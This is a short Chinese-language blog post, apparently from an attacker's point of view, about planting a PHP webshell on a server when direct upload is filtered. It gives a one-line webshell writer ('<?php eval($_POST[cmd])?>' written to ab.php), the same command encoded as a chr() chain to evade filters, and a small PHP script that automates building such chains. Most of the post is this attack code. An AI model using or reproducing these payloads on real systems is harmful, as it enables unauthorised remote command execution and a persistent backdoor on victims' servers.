當服務器上傳不了馬或者馬被過濾的時候,我們可以迂回一下,通過執行寫馬命令到服務器,在服務器里面寫馬,該命令是通過ascii編碼過的命令,防止被過濾。
1 fputs(fopen("ab.php","w"),'<?php eval($_POST[cmd])?>'); //寫馬命令 2 3 cmd=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(34).chr(97).chr(98).chr(46).chr(112).chr(104).chr(112).chr(34).chr(44).chr(34).chr(119).chr(34).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59)); //用字符函數chr()表示的ascii轉碼后的命令
那么問題來了,命令直接轉ascii碼很簡單,用一些編碼轉換工具就可以做到:
但是轉換后只會生成一大串的ascii碼,並不是以字符函數chr()來表示的,要是一個個添加chr()那會累死人的...所以決定利用php語言來幫我完成這項工作。
二、
首先我們得到的是一大串數字,每個數字要用chr()包含,所以我們可以先把單獨的ascii拆分開來,再以“).chr(”拼接。
要用到的函數有:
- 用法:explode() 函數把字符串打散為數組。
- 語法:explode(separator,string,limit)
-
用法:implode() 函數返回一個由數組元素組合成的字符串。
-
語法:implode(separator,array)

三、首先把所有ascii碼賦值到$str,再用explode()將空格兩邊的數字拆下來賦值到$ary()函數,此時$ary()是一個數組
1 <?php 2 $str="102 112 117 116 115 40 102 111 112 101 110 40 34 97 98 46 112 104 112 34 44 34 119 34 41 44 39 60 63 112 104 112 32 101 118 97 108 40 36 95 80 79 83 84 91 99 109 100 93 41 63 62 39 41 59"; 3 $ary=explode(" ", $str);//拆分字符串 4 5 print_r($ary);//打印數組 6 ?>
把數組打印出來看看效果:

沒問題,接着用implode()以").chr("將數組元素拼接起來,賦值到$ary2,然后修一下頭尾就可以了:
1 <?php 2 $str="102 112 117 116 115 40 102 111 112 101 110 40 34 97 98 46 112 104 112 34 44 34 119 34 41 44 39 60 63 112 104 112 32 101 118 97 108 40 36 95 80 79 83 84 91 99 109 100 93 41 63 62 39 41 59"; 3 $ary=explode(" ", $str); 4 5 print_r($ary);//打印數組 6 7 $ary2=implode(').chr(', $ary);//用").chr("將數組元素拼接起來 8 echo "chr(".$ary2.")";//修一下頭尾 9 ?>
輸出就可以得到我們想要的了:
最后:編程能力啊編程能力真的很重要,筆者真慚愧,這個腳本幾句話都花了一上午時間。。能力好事半功倍,能力差只能是到處搬磚的腳本小子